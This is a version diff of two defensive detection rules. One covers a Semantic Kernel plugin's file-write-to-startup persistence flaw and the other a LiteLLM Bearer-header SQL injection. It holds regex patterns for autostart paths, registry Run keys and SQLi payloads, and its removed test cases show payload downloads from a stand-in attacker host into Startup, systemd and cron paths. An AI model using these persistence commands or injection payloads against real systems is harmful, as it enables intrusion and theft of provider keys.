agent-threat-rules 4.0.0 → 4.1.5

package/rules/privilege-escalation/ATR-2026-00441-semantic-kernel-sessions-python-plugin-startup-persistence.yaml

@@ -1,92 +1,73 @@
-title: "Microsoft Semantic Kernel SessionsPythonPlugin Arbitrary File Write + Startup Persistence (CVE-2026-25592)"
+title: Microsoft Semantic Kernel SessionsPythonPlugin Arbitrary File Write + Startup Persistence (CVE-2026-25592)
 id: ATR-2026-00441
 rule_version: 1
 status: experimental
-description: >
-  Detects exploitation of CVE-2026-25592 (Critical), arbitrary file write
-  via SessionsPythonPlugin in Microsoft Semantic Kernel. The vulnerable
-  sink accepts unvalidated file paths via DownloadFileAsync; combined with
-  the plugin's ExecuteCode capability, attacker writes payloads to host
-  Startup / cron / systemd-user paths, achieving sandbox escape and
-  persistence. The full kill chain is ExecuteCode -> generate payload ->
-  DownloadFileAsync -> write to autostart directory -> reboot triggers
-  RCE outside the sandbox. This rule detects the over-privileged tool
-  descriptor patterns and the autostart-target file-write payloads that
-  reach the SessionsPythonPlugin sink. CWE-22 (path traversal), CWE-73
-  (external control of file name). Patches in semantic-kernel
-  Python >= 1.39.4 and .NET >= 1.71.0; this rule detects exploit
-  attempts against unpatched deployments and provides
-  defence-in-depth post-patch by catching the autostart-write pattern
-  regardless of upstream patch state.
-author: "ATR Community"
-date: "2026/05/11"
-schema_version: "0.1"
+description: |
+  Detects exploitation of CVE-2026-25592 (Critical), arbitrary file write via SessionsPythonPlugin in Microsoft Semantic Kernel. The vulnerable sink accepts unvalidated file paths via DownloadFileAsync; combined with the plugin's ExecuteCode capability, attacker writes payloads to host Startup / cron / systemd-user paths, achieving sandbox escape and persistence. The full kill chain is ExecuteCode -> generate payload -> DownloadFileAsync -> write to autostart directory -> reboot triggers RCE outside the sandbox. This rule detects the over-privileged tool descriptor patterns and the autostart-target file-write payloads that reach the SessionsPythonPlugin sink. CWE-22 (path traversal), CWE-73 (external control of file name). Patches in semantic-kernel Python >= 1.39.4 and .NET >= 1.71.0; this rule detects exploit attempts against unpatched deployments and provides defence-in-depth post-patch by catching the autostart-write pattern regardless of upstream patch state.
+author: ATR Community
+date: 2026/05/11
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
-
 references:
   owasp_llm:
-    - "LLM06:2025"
-    - "LLM05:2025"
+    - LLM06:2025
+    - LLM05:2025
   owasp_agentic:
-    - "ASI03:2026"
-    - "ASI06:2026"
+    - ASI03:2026
+    - ASI06:2026
   mitre_atlas:
-    - "AML.T0050 - Command and Scripting Interpreter"
+    - AML.T0050 - Command and Scripting Interpreter
   mitre_attack:
-    - "T1547 - Boot or Logon Autostart Execution"
-    - "T1547.001 - Registry Run Keys / Startup Folder"
-    - "T1053 - Scheduled Task/Job"
-    - "T1611 - Escape to Host"
+    - T1547 - Boot or Logon Autostart Execution
+    - T1547.001 - Registry Run Keys / Startup Folder
+    - T1053 - Scheduled Task/Job
+    - T1611 - Escape to Host
   cve:
-    - "CVE-2026-25592"
-
+    - CVE-2026-25592
 metadata_provenance:
   mitre_atlas: human-reviewed
   mitre_attack: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
   cve: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "CVE-2026-25592 in Semantic Kernel SessionsPythonPlugin lets an agent write to host autostart paths via DownloadFileAsync, achieving persistence outside the sandbox; Article 15 cybersecurity requirements mandate that AI system sandboxes prevent unauthorised file writes to system-level persistence locations."
+    - article: '15'
+      context: CVE-2026-25592 in Semantic Kernel SessionsPythonPlugin lets an agent write to host autostart paths via DownloadFileAsync, achieving persistence outside the sandbox; Article 15 cybersecurity requirements mandate that AI system sandboxes prevent unauthorised file writes to system-level persistence locations.
       strength: primary
-    - article: "14"
-      context: "Persistence via host Startup folder explicitly defeats Article 14 human oversight — by reboot the malicious code runs without any agent loop or human interaction. Detection of autostart-write attempts is a primary control."
+    - article: '14'
+      context: Persistence via host Startup folder explicitly defeats Article 14 human oversight — by reboot the malicious code runs without any agent loop or human interaction. Detection of autostart-write attempts is a primary control.
       strength: primary
-    - article: "9"
-      context: "Sandbox-escape via plugin file-write is a critical risk class that Article 9 risk management must enumerate when deploying any agent with both code-execution and file-write capabilities."
+    - article: '9'
+      context: Sandbox-escape via plugin file-write is a critical risk class that Article 9 risk management must enumerate when deploying any agent with both code-execution and file-write capabilities.
       strength: primary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "Persistence payloads written to autostart directories must be tracked as a primary post-exploit pattern; the boundary between agent-controlled tmpfs and host autostart paths must be enforced and monitored."
+    - subcategory: MP.5.1
+      context: Persistence payloads written to autostart directories must be tracked as a primary post-exploit pattern; the boundary between agent-controlled tmpfs and host autostart paths must be enforced and monitored.
       strength: primary
-    - subcategory: "MG.4.1"
-      context: "An autostart-write event from an agent plugin requires immediate incident response; this rule generates the alert needed to initiate the MG.4.1 AI incident response process before the next host reboot triggers the payload."
+    - subcategory: MG.4.1
+      context: An autostart-write event from an agent plugin requires immediate incident response; this rule generates the alert needed to initiate the MG.4.1 AI incident response process before the next host reboot triggers the payload.
       strength: primary
-    - subcategory: "MG.2.3"
-      context: "Risk treatment plans under MG.2.3 must require that plugins exposing both file-write and code-execution capabilities are flagged for separation of duties and runtime monitoring."
+    - subcategory: MG.2.3
+      context: Risk treatment plans under MG.2.3 must require that plugins exposing both file-write and code-execution capabilities are flagged for separation of duties and runtime monitoring.
       strength: primary
-    - subcategory: "MS.2.7"
-      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the privilege-escalation attempt (Microsoft Semantic Kernel SessionsPythonPlugin Arbitrary File Write + Startup Persistence (CVE-2026-25592))."
+    - subcategory: MS.2.7
+      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the privilege-escalation attempt (Microsoft Semantic Kernel SessionsPythonPlugin Arbitrary File Write + Startup Persistence (CVE-2026-25592)).
       strength: primary
   iso_42001:
-    - clause: "8.1"
-      context: "Clause 8.1 operational controls require that agent plugins do not exceed their authorised operational scope; writing to OS-level autostart paths is unambiguously out-of-scope for any documented AI plugin."
+    - clause: '8.1'
+      context: Clause 8.1 operational controls require that agent plugins do not exceed their authorised operational scope; writing to OS-level autostart paths is unambiguously out-of-scope for any documented AI plugin.
       strength: primary
-    - clause: "6.2"
-      context: "Clause 6.2 AIMS security objectives include least-privilege enforcement; detection of over-privileged tool descriptors (combining ExecuteCode + arbitrary file-write) operationalises that objective."
+    - clause: '6.2'
+      context: Clause 6.2 AIMS security objectives include least-privilege enforcement; detection of over-privileged tool descriptors (combining ExecuteCode + arbitrary file-write) operationalises that objective.
       strength: secondary
-
 tags:
   category: privilege-escalation
   subcategory: sandbox-escape-persistence
   scan_target: both
   confidence: high
-
 agent_source:
   type: tool_call
   framework:
@@ -94,40 +75,34 @@ agent_source:
     - any
   provider:
     - any
-
 detection:
   condition: any
   false_positives:
-    - "Legitimate developer documentation referencing Windows Startup folder for non-malicious use cases (installer behaviour, productivity software)."
-    - "Detection rule corpora (this repo, SigmaHQ, MISP) documenting CVE-2026-25592 patterns for defensive purposes."
-    - "Patched SessionsPythonPlugin deployments that perform path-canonicalisation and reject autostart targets before write."
-    - "Benign discussion of process / app / shell `startup` in English prose without a path or file-write context."
+    - Legitimate developer documentation referencing Windows Startup folder for non-malicious use cases (installer behaviour, productivity software).
+    - Detection rule corpora (this repo, SigmaHQ, MISP) documenting CVE-2026-25592 patterns for defensive purposes.
+    - Patched SessionsPythonPlugin deployments that perform path-canonicalisation and reject autostart targets before write.
+    - Benign discussion of process / app / shell `startup` in English prose without a path or file-write context.
   conditions:
     - field: tool_args
       operator: regex
-      value: '(?i)\b(?:destination|dest|target|output|out_path|out_file|file|path|to|filename|filepath|file_path)["\x27]?\s*[:=]\s*["\x27]?[^"\x27,)]{0,40}(?:AppData[\\/]+Roaming[\\/]+Microsoft[\\/]+Windows[\\/]+Start Menu[\\/]+Programs[\\/]+Startup|[\\/]+Start Menu[\\/]+Programs[\\/]+Startup[\\/]+|[\\/]+\.config[\\/]+autostart[\\/]+|[\\/]+\.config[\\/]+systemd[\\/]+user[\\/]+|/etc/cron\.(?:hourly|daily|weekly|monthly|d)/|/etc/init\.d/|/etc/systemd/system/|/Library/LaunchAgents/|/Library/LaunchDaemons/|~/Library/LaunchAgents/)'
-      description: "Tool argument whose path / destination / target value is an OS-level autostart / persistence path (Windows Start Menu Startup, XDG autostart, systemd-user, cron, macOS LaunchAgents/Daemons). Allows optional quote between keyword and separator (JSON form `\"destination\":\"path\"`). Requires a write-context keyword before the path so admin-doc references to `/etc/systemd/system/` without a write-arg context do not match."
-
+      value: (?i)\b(?:destination|dest|target|output|out_path|out_file|file|path|to|filename|filepath|file_path)["\x27]?\s*[:=]\s*["\x27]?[^"\x27,)]{0,40}(?:AppData[\\/]+Roaming[\\/]+Microsoft[\\/]+Windows[\\/]+Start Menu[\\/]+Programs[\\/]+Startup|[\\/]+Start Menu[\\/]+Programs[\\/]+Startup[\\/]+|[\\/]+\.config[\\/]+autostart[\\/]+|[\\/]+\.config[\\/]+systemd[\\/]+user[\\/]+|/etc/cron\.(?:hourly|daily|weekly|monthly|d)/|/etc/init\.d/|/etc/systemd/system/|/Library/LaunchAgents/|/Library/LaunchDaemons/|~/Library/LaunchAgents/)
+      description: Tool argument whose path / destination / target value is an OS-level autostart / persistence path (Windows Start Menu Startup, XDG autostart, systemd-user, cron, macOS LaunchAgents/Daemons). Allows optional quote between keyword and separator (JSON form `"destination":"path"`). Requires a write-context keyword before the path so admin-doc references to `/etc/systemd/system/` without a write-arg context do not match.
     - field: tool_name
       operator: regex
-      value: '(?i)\b(?:SessionsPythonPlugin|Microsoft\.SemanticKernel\.Plugins\.[A-Za-z]*Sessions|kernel_function_download_file|sessions_python)\b'
-      description: "Tool descriptor referencing Semantic Kernel SessionsPythonPlugin or its fully-qualified variants — narrowed to SK-specific identifiers."
-
+      value: (?i)\b(?:SessionsPythonPlugin|Microsoft\.SemanticKernel\.Plugins\.[A-Za-z]*Sessions|kernel_function_download_file|sessions_python)\b
+      description: Tool descriptor referencing Semantic Kernel SessionsPythonPlugin or its fully-qualified variants — narrowed to SK-specific identifiers.
     - field: tool_description
       operator: regex
-      value: '(?i)(?:download|write|save)[^.]{0,120}\b(?:to\s+)?(?:arbitrary\s+(?:path|location)|any\s+(?:directory|location|path)|user[-_]?(?:supplied|specified|provided)\s+path|unvalidated\s+path)\b'
-      description: "Tool descriptor that explicitly advertises file-write to arbitrary / user-supplied / unvalidated paths — over-privileged descriptor pattern that enables CVE-2026-25592."
-
+      value: (?i)(?:download|write|save)[^.]{0,120}\b(?:to\s+)?(?:arbitrary\s+(?:path|location)|any\s+(?:directory|location|path)|user[-_]?(?:supplied|specified|provided)\s+path|unvalidated\s+path)\b
+      description: Tool descriptor that explicitly advertises file-write to arbitrary / user-supplied / unvalidated paths — over-privileged descriptor pattern that enables CVE-2026-25592.
     - field: content
       operator: regex
-      value: '(?i)\b(?:DownloadFileAsync|download_file|fs\.writeFile|writeFile(?:Sync)?)\s*\(\s*["\x27]?[^)]{0,200}(?:[\\/]+Start Menu[\\/]+Programs[\\/]+Startup[\\/]+|AppData[\\/]+Roaming[\\/]+Microsoft[\\/]+Windows|[\\/]+\.config[\\/]+autostart[\\/]+|/etc/cron\.(?:hourly|daily|weekly|monthly|d)/|/Library/LaunchAgents/|/etc/systemd/system/)'
-      description: "Direct file-write function call whose destination argument is an autostart path — explicit exploit signature with two anchors (call site + path)."
-
+      value: (?i)\b(?:DownloadFileAsync|download_file|fs\.writeFile|writeFile(?:Sync)?)\s*\(\s*["\x27]?[^)]{0,200}(?:[\\/]+Start Menu[\\/]+Programs[\\/]+Startup[\\/]+|AppData[\\/]+Roaming[\\/]+Microsoft[\\/]+Windows|[\\/]+\.config[\\/]+autostart[\\/]+|/etc/cron\.(?:hourly|daily|weekly|monthly|d)/|/Library/LaunchAgents/|/etc/systemd/system/)
+      description: Direct file-write function call whose destination argument is an autostart path — explicit exploit signature with two anchors (call site + path).
     - field: content
       operator: regex
-      value: '(?i)(?:\breg\s+add\s+(?:HKCU|HKLM|HKEY_)|HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run|HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run|\bregedit(?:\.exe)?\s+/s\s+)'
-      description: "Windows registry Run-key persistence (`reg add HKCU\\..\\Run`, full Run-key path, or `regedit /s`) — alternative persistence vector. Word-boundary anchored to avoid substring matches in normal English (register, regex, aggregated)."
-
+      value: (?i)(?:\breg\s+add\s+(?:HKCU|HKLM|HKEY_)|HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run|HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run|\bregedit(?:\.exe)?\s+/s\s+)
+      description: Windows registry Run-key persistence (`reg add HKCU\..\Run`, full Run-key path, or `regedit /s`) — alternative persistence vector. Word-boundary anchored to avoid substring matches in normal English (register, regex, aggregated).
 response:
   actions:
     - block_tool
@@ -136,52 +111,5 @@ response:
     - snapshot
   notify:
     - security_team
-
-remediation: >
-  Upgrade Python semantic-kernel to >= 1.39.4 or .NET semantic-kernel to
-  >= 1.71.0. Restrict SessionsPythonPlugin file-write to a fixed jail
-  directory; canonicalise paths and reject any target outside the jail.
-  Never grant the same plugin both ExecuteCode and unrestricted file-write
-  in the same security boundary. Monitor for writes targeting OS-level
-  autostart paths (Startup folder, ~/.config/autostart, /etc/cron.*,
-  systemd-user units, LaunchAgents) regardless of source.
-
-test_cases:
-  true_positives:
-    - input: 'DownloadFileAsync("https://attacker.example/payload.exe", "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.exe")'
-      expected: triggered
-      description: "Direct CVE-2026-25592 exploit: DownloadFileAsync writing to Windows Startup folder"
-    - input: '{"tool":"SessionsPythonPlugin","args":{"file":"~/.config/autostart/payload.desktop"}}'
-      expected: triggered
-      description: "SessionsPythonPlugin invocation targeting XDG autostart on Linux"
-    - input: 'await DownloadFileAsync(url, "/etc/cron.hourly/atr_persist.sh")'
-      expected: triggered
-      description: "File write to /etc/cron.hourly autostart path"
-    - input: 'fs.writeFile("/Users/victim/Library/LaunchAgents/com.attacker.plist", payload, cb)'
-      expected: triggered
-      description: "macOS LaunchAgents persistence write"
-    - input: '{"tool_name":"DownloadFileAsync","tool_description":"Downloads any file to any user-specified path on the host filesystem."}'
-      expected: triggered
-      description: "Over-privileged tool descriptor advertising arbitrary-path write — CVE-2026-25592 enabling pattern"
-    - input: 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ATR /t REG_SZ /d "C:\\payload.exe"'
-      expected: triggered
-      description: "Windows Run-key persistence variant chained with the same primitive"
-    - input: '{"tool":"DownloadFileAsync","args":{"source":"https://attacker/agent.bin","destination":"/etc/systemd/system/persist.service"}}'
-      expected: triggered
-      description: "systemd unit persistence write"
-  true_negatives:
-    - input: 'DownloadFileAsync("https://example.com/data.csv", "./tmp/data.csv")'
-      expected: not_triggered
-      description: "Benign download to local working directory"
-    - input: "The semantic-kernel 1.39.4 patch adds path canonicalisation to block writes outside the jail directory; review the changelog before upgrading."
-      expected: not_triggered
-      description: "Documentation of the patched behaviour without literal exploit-tool names"
-    - input: 'Tool descriptor: "Writes the result to the user-supplied output path inside the configured jail directory."'
-      expected: not_triggered
-      description: "Properly-scoped tool descriptor that mentions user-supplied path but inside a jail"
-    - input: "Review note: CVE-2026-25592 is mitigated by jailed file-write; no autostart-path write should be permitted."
-      expected: not_triggered
-      description: "Defensive discussion of the CVE"
-    - input: 'fs.writeFile("/tmp/output.json", JSON.stringify(result), cb)'
-      expected: not_triggered
-      description: "Standard tmp-directory write — not an autostart path"
+remediation: |
+  Upgrade Python semantic-kernel to >= 1.39.4 or .NET semantic-kernel to >= 1.71.0. Restrict SessionsPythonPlugin file-write to a fixed jail directory; canonicalise paths and reject any target outside the jail. Never grant the same plugin both ExecuteCode and unrestricted file-write in the same security boundary. Monitor for writes targeting OS-level autostart paths (Startup folder, ~/.config/autostart, /etc/cron.*, systemd-user units, LaunchAgents) regardless of source.

package/rules/privilege-escalation/ATR-2026-00451-litellm-admin-sqli-cisa-kev.yaml

@@ -1,96 +1,72 @@
-title: "LiteLLM Proxy Authorization-Header SQL Injection — CISA KEV (CVE-2026-42208)"
+title: LiteLLM Proxy Authorization-Header SQL Injection — CISA KEV (CVE-2026-42208)
 id: ATR-2026-00451
 rule_version: 2
 status: experimental
-description: >
-  Detects exploitation of CVE-2026-42208 (Critical, pre-auth SQL
-  injection in the LiteLLM proxy). The injection surface is the
-  `Authorization: Bearer` header value, NOT a URI/admin path: LiteLLM's
-  API-key verification concatenates the caller-supplied Bearer token
-  directly into a SELECT against the `LiteLLM_VerificationToken` table
-  without parameter binding. Because the check runs before
-  authentication is decided, any HTTP client that can reach the proxy
-  can inject on any route (for example `POST /chat/completions`) — no
-  admin endpoint or credentials required. A single quote escapes the
-  string literal and appends arbitrary SQL, letting an attacker read or
-  modify the backend Postgres (notably `litellm_credentials` /
-  `litellm_config`, which hold upstream provider keys). Added to CISA's
-  Known Exploited Vulnerabilities catalog on 2026-05-08; exploited in
-  the wild within ~26 hours of advisory publication. Affected versions
-  >= 1.81.16, < 1.83.7 (GHSA-r75f-5x8p-qvmc). This rule matches SQLi
-  payload shapes (tautology auth bypass `' OR 1=1 --`, UNION-based
-  exfiltration, `pg_sleep()` blind, stacked DROP/TRUNCATE, metadata
-  recon) carried inside an `Authorization`/`Bearer` token, and provides
-  defence-in-depth post-patch by catching the payload shape regardless
-  of upstream patch state. CWE-89.
-author: "ATR Community"
-date: "2026/05/12"
-schema_version: "0.1"
+description: |
+  Detects exploitation of CVE-2026-42208 (Critical, pre-auth SQL injection in the LiteLLM proxy). The injection surface is the `Authorization: Bearer` header value, NOT a URI/admin path: LiteLLM's API-key verification concatenates the caller-supplied Bearer token directly into a SELECT against the `LiteLLM_VerificationToken` table without parameter binding. Because the check runs before authentication is decided, any HTTP client that can reach the proxy can inject on any route (for example `POST /chat/completions`) — no admin endpoint or credentials required. A single quote escapes the string literal and appends arbitrary SQL, letting an attacker read or modify the backend Postgres (notably `litellm_credentials` / `litellm_config`, which hold upstream provider keys). Added to CISA's Known Exploited Vulnerabilities catalog on 2026-05-08; exploited in the wild within ~26 hours of advisory publication. Affected versions >= 1.81.16, < 1.83.7 (GHSA-r75f-5x8p-qvmc). This rule matches SQLi payload shapes (tautology auth bypass `' OR 1=1 --`, UNION-based exfiltration, `pg_sleep()` blind, stacked DROP/TRUNCATE, metadata recon) carried inside an `Authorization`/`Bearer` token, and provides defence-in-depth post-patch by catching the payload shape regardless of upstream patch state. CWE-89.
+author: ATR Community
+date: 2026/05/12
+schema_version: '0.1'
 detection_tier: pattern
 maturity: test
 severity: critical
-
 references:
   owasp_llm:
-    - "LLM05:2025"
-    - "LLM10:2025"
+    - LLM05:2025
+    - LLM10:2025
   owasp_agentic:
-    - "ASI03:2026"
-    - "ASI07:2026"
+    - ASI03:2026
+    - ASI07:2026
   mitre_atlas:
-    - "AML.T0049 - Exploit Public-Facing Application"
-    - "AML.T0024 - Exfiltration via AI Inference API"
+    - AML.T0049 - Exploit Public-Facing Application
+    - AML.T0024 - Exfiltration via AI Inference API
   mitre_attack:
-    - "T1190 - Exploit Public-Facing Application"
-    - "T1059 - Command and Scripting Interpreter"
+    - T1190 - Exploit Public-Facing Application
+    - T1059 - Command and Scripting Interpreter
   cve:
-    - "CVE-2026-42208"
-
+    - CVE-2026-42208
 metadata_provenance:
   mitre_atlas: human-reviewed
   mitre_attack: human-reviewed
   owasp_llm: human-reviewed
   owasp_agentic: human-reviewed
   cve: human-reviewed
-
 compliance:
   eu_ai_act:
-    - article: "15"
-      context: "CVE-2026-42208 allows unauthenticated SQL execution against the LiteLLM proxy backend Postgres, exfiltrating provider API keys, model bindings, and user accounts; Article 15 cybersecurity requirements mandate parameterised queries in any AI control-plane component."
+    - article: '15'
+      context: CVE-2026-42208 allows unauthenticated SQL execution against the LiteLLM proxy backend Postgres, exfiltrating provider API keys, model bindings, and user accounts; Article 15 cybersecurity requirements mandate parameterised queries in any AI control-plane component.
       strength: primary
-    - article: "9"
-      context: "Article 9 risk management must enumerate proxy admin-endpoint SQLi as a high-risk class — a single bypass exposes every downstream LLM provider key the proxy holds. CISA KEV listing confirms active in-the-wild exploitation."
+    - article: '9'
+      context: Article 9 risk management must enumerate proxy admin-endpoint SQLi as a high-risk class — a single bypass exposes every downstream LLM provider key the proxy holds. CISA KEV listing confirms active in-the-wild exploitation.
       strength: primary
-    - article: "14"
-      context: "Article 14 (human oversight) requires high-risk AI systems to remain subject to effective human oversight; this rule provides detection evidence where the privilege-escalation attempt (LiteLLM Proxy Admin Endpoint SQL Injection — CISA KEV (CVE-2026-42208)) would bypass or undermine that oversight."
+    - article: '14'
+      context: Article 14 (human oversight) requires high-risk AI systems to remain subject to effective human oversight; this rule provides detection evidence where the privilege-escalation attempt (LiteLLM Proxy Admin Endpoint SQL Injection — CISA KEV (CVE-2026-42208)) would bypass or undermine that oversight.
       strength: secondary
   nist_ai_rmf:
-    - subcategory: "MP.5.1"
-      context: "SQLi payloads targeting AI proxy admin endpoints must be tracked as a primary attack class against AI control-plane infrastructure; CISA KEV inclusion makes this a federally-prioritised remediation."
+    - subcategory: MP.5.1
+      context: SQLi payloads targeting AI proxy admin endpoints must be tracked as a primary attack class against AI control-plane infrastructure; CISA KEV inclusion makes this a federally-prioritised remediation.
       strength: primary
-    - subcategory: "MG.4.1"
-      context: "Active exploitation against LiteLLM proxy admin endpoints requires immediate incident response; this rule generates the alert needed to initiate the MG.4.1 AI incident response process."
+    - subcategory: MG.4.1
+      context: Active exploitation against LiteLLM proxy admin endpoints requires immediate incident response; this rule generates the alert needed to initiate the MG.4.1 AI incident response process.
       strength: primary
-    - subcategory: "MG.2.3"
-      context: "Risk treatment plans under MG.2.3 must require parameterised queries on every admin endpoint of any AI proxy / gateway component."
+    - subcategory: MG.2.3
+      context: Risk treatment plans under MG.2.3 must require parameterised queries on every admin endpoint of any AI proxy / gateway component.
       strength: primary
-    - subcategory: "MS.2.7"
-      context: "NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the privilege-escalation attempt (LiteLLM Proxy Admin Endpoint SQL Injection — CISA KEV (CVE-2026-42208))."
+    - subcategory: MS.2.7
+      context: NIST AI RMF MEASURE 2.7 (security and resilience evaluated and documented) is supported by this rule's runtime detection of the privilege-escalation attempt (LiteLLM Proxy Admin Endpoint SQL Injection — CISA KEV (CVE-2026-42208)).
       strength: primary
   iso_42001:
-    - clause: "8.1"
-      context: "Operational controls under clause 8.1 must prohibit string concatenation of HTTP parameters into SQL queries in any AI control-plane component; parameterised query builders are mandatory."
+    - clause: '8.1'
+      context: Operational controls under clause 8.1 must prohibit string concatenation of HTTP parameters into SQL queries in any AI control-plane component; parameterised query builders are mandatory.
       strength: primary
-    - clause: "6.2"
-      context: "ISO/IEC 42001 Clause 6.2 (AI objectives and planning) calls for risk treatment of known attack patterns; this rule's detection of the privilege-escalation attempt (LiteLLM Proxy Admin Endpoint SQL Injection — CISA KEV (CVE-2026-42208)) is such a treatment."
+    - clause: '6.2'
+      context: ISO/IEC 42001 Clause 6.2 (AI objectives and planning) calls for risk treatment of known attack patterns; this rule's detection of the privilege-escalation attempt (LiteLLM Proxy Admin Endpoint SQL Injection — CISA KEV (CVE-2026-42208)) is such a treatment.
       strength: secondary
-
 tags:
   category: privilege-escalation
   subcategory: auth-header-sqli-cve-kev
   scan_target: both
   confidence: high
-
 agent_source:
   type: tool_call
   framework:
@@ -98,50 +74,42 @@ agent_source:
     - any
   provider:
     - any
-
 detection:
   condition: any
   false_positives:
-    - "Legitimate documentation or changelog text discussing CVE-2026-42208 patch notes."
-    - "Static analysis tooling output documenting SQLi patterns for defensive purposes."
-    - "CISA KEV catalog entries discussing CVE-2026-42208 for awareness."
-    - "Patched LiteLLM proxy deployments that use parameterised query builders."
+    - Legitimate documentation or changelog text discussing CVE-2026-42208 patch notes.
+    - Static analysis tooling output documenting SQLi patterns for defensive purposes.
+    - CISA KEV catalog entries discussing CVE-2026-42208 for awareness.
+    - Patched LiteLLM proxy deployments that use parameterised query builders.
   conditions:
     - field: content
       operator: regex
-      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,80}[\x27"]\s*(?:or|and)\s+(?:1\s*=+\s*1|true\b|\d+\s*=+\s*\d+)\s*(?:--(?=\s|$|["\x27\)])|/\*|#)'
-      description: "Authorization: Bearer token carrying classic tautology SQLi (1=1 / true / N=N) + SQL-comment terminator — CISA KEV CVE-2026-42208 canonical pre-auth exploit shape (injection is in the Bearer value, concatenated into the key-verification SELECT)"
-
+      value: (?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,80}[\x27"]\s*(?:or|and)\s+(?:1\s*=+\s*1|true\b|\d+\s*=+\s*\d+)\s*(?:--(?=\s|$|["\x27\)])|/\*|#)
+      description: 'Authorization: Bearer token carrying classic tautology SQLi (1=1 / true / N=N) + SQL-comment terminator — CISA KEV CVE-2026-42208 canonical pre-auth exploit shape (injection is in the Bearer value, concatenated into the key-verification SELECT)'
     - field: content
       operator: regex
-      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,100}[\x27"]?\s*;\s*(?:drop|truncate|delete)\s+(?:table|from)\s+\w'
-      description: "Authorization: Bearer token with stacked destructive statement (DROP/TRUNCATE/DELETE TABLE) — CVE-2026-42208"
-
+      value: (?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,100}[\x27"]?\s*;\s*(?:drop|truncate|delete)\s+(?:table|from)\s+\w
+      description: 'Authorization: Bearer token with stacked destructive statement (DROP/TRUNCATE/DELETE TABLE) — CVE-2026-42208'
     - field: content
       operator: regex
-      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\bunion\s+(?:all\s+)?select\s+'
-      description: "Authorization: Bearer token with UNION SELECT exfiltration probe against the LiteLLM Postgres backend — CVE-2026-42208"
-
+      value: (?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\bunion\s+(?:all\s+)?select\s+
+      description: 'Authorization: Bearer token with UNION SELECT exfiltration probe against the LiteLLM Postgres backend — CVE-2026-42208'
     - field: content
       operator: regex
-      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\bpg_sleep\s*\(\s*\d+\s*\)'
-      description: "Authorization: Bearer token with Postgres time-based blind primitive `pg_sleep(N)` — CVE-2026-42208 blind SQLi"
-
+      value: (?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\bpg_sleep\s*\(\s*\d+\s*\)
+      description: 'Authorization: Bearer token with Postgres time-based blind primitive `pg_sleep(N)` — CVE-2026-42208 blind SQLi'
     - field: content
       operator: regex
-      value: '(?i)\bbearer\s+[^\n"]{0,120}\b(?:litellm_verificationtoken|litellm_credentials|litellm_config)\b[^\n]{0,40}(?:\bunion\b|\bselect\b|[\x27"]\s*(?:or|and)\b|;)'
-      description: "Bearer token referencing a LiteLLM backend table (LiteLLM_VerificationToken / litellm_credentials / litellm_config) in an injection context — direct CVE-2026-42208 exfil target"
-
+      value: (?i)\bbearer\s+[^\n"]{0,120}\b(?:litellm_verificationtoken|litellm_credentials|litellm_config)\b[^\n]{0,40}(?:\bunion\b|\bselect\b|[\x27"]\s*(?:or|and)\b|;)
+      description: Bearer token referencing a LiteLLM backend table (LiteLLM_VerificationToken / litellm_credentials / litellm_config) in an injection context — direct CVE-2026-42208 exfil target
     - field: content
       operator: regex
-      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\b(?:information_schema\.tables|pg_catalog\.\w+|pg_user|pg_shadow)\b'
-      description: "Authorization: Bearer token probing Postgres metadata views (information_schema.tables, pg_user) — recon stage of CVE-2026-42208; requires concrete metadata identifiers"
-
+      value: (?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\b(?:information_schema\.tables|pg_catalog\.\w+|pg_user|pg_shadow)\b
+      description: 'Authorization: Bearer token probing Postgres metadata views (information_schema.tables, pg_user) — recon stage of CVE-2026-42208; requires concrete metadata identifiers'
     - field: content
       operator: regex
-      value: '(?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\b(?:extractvalue|updatexml|load_extension)\s*\('
-      description: "Authorization: Bearer token with error-based / out-of-band SQLi primitives (extractvalue, updatexml, load_extension) — CVE-2026-42208"
-
+      value: (?i)\b(?:authorization:\s*)?bearer\s+[^\n"]{0,120}\b(?:extractvalue|updatexml|load_extension)\s*\(
+      description: 'Authorization: Bearer token with error-based / out-of-band SQLi primitives (extractvalue, updatexml, load_extension) — CVE-2026-42208'
 response:
   actions:
     - block_input
@@ -150,61 +118,5 @@ response:
     - snapshot
   notify:
     - security_team
-
-remediation: >
-  Upgrade LiteLLM proxy to >= 1.83.7 immediately — CISA KEV listing
-  means active exploitation is occurring in the wild (first hit
-  observed ~26 hours after advisory publication). Rotate every
-  upstream provider API key and credential the proxy database has held
-  since deployment — the injection targets `litellm_credentials` /
-  `litellm_config`, so assume provider keys are compromised. Audit
-  Postgres logs for queries against `LiteLLM_VerificationToken`,
-  `litellm_credentials`, and `litellm_config` originating from the
-  proxy service account. The fix replaces string-concatenated SQL in
-  the API-key verification path with parameterised queries. If a patch
-  window is unavailable, place the proxy behind a reverse proxy that
-  rejects any `Authorization` header value containing a single quote,
-  parenthesis, or SQL keyword (UNION, SELECT, OR, --).
-
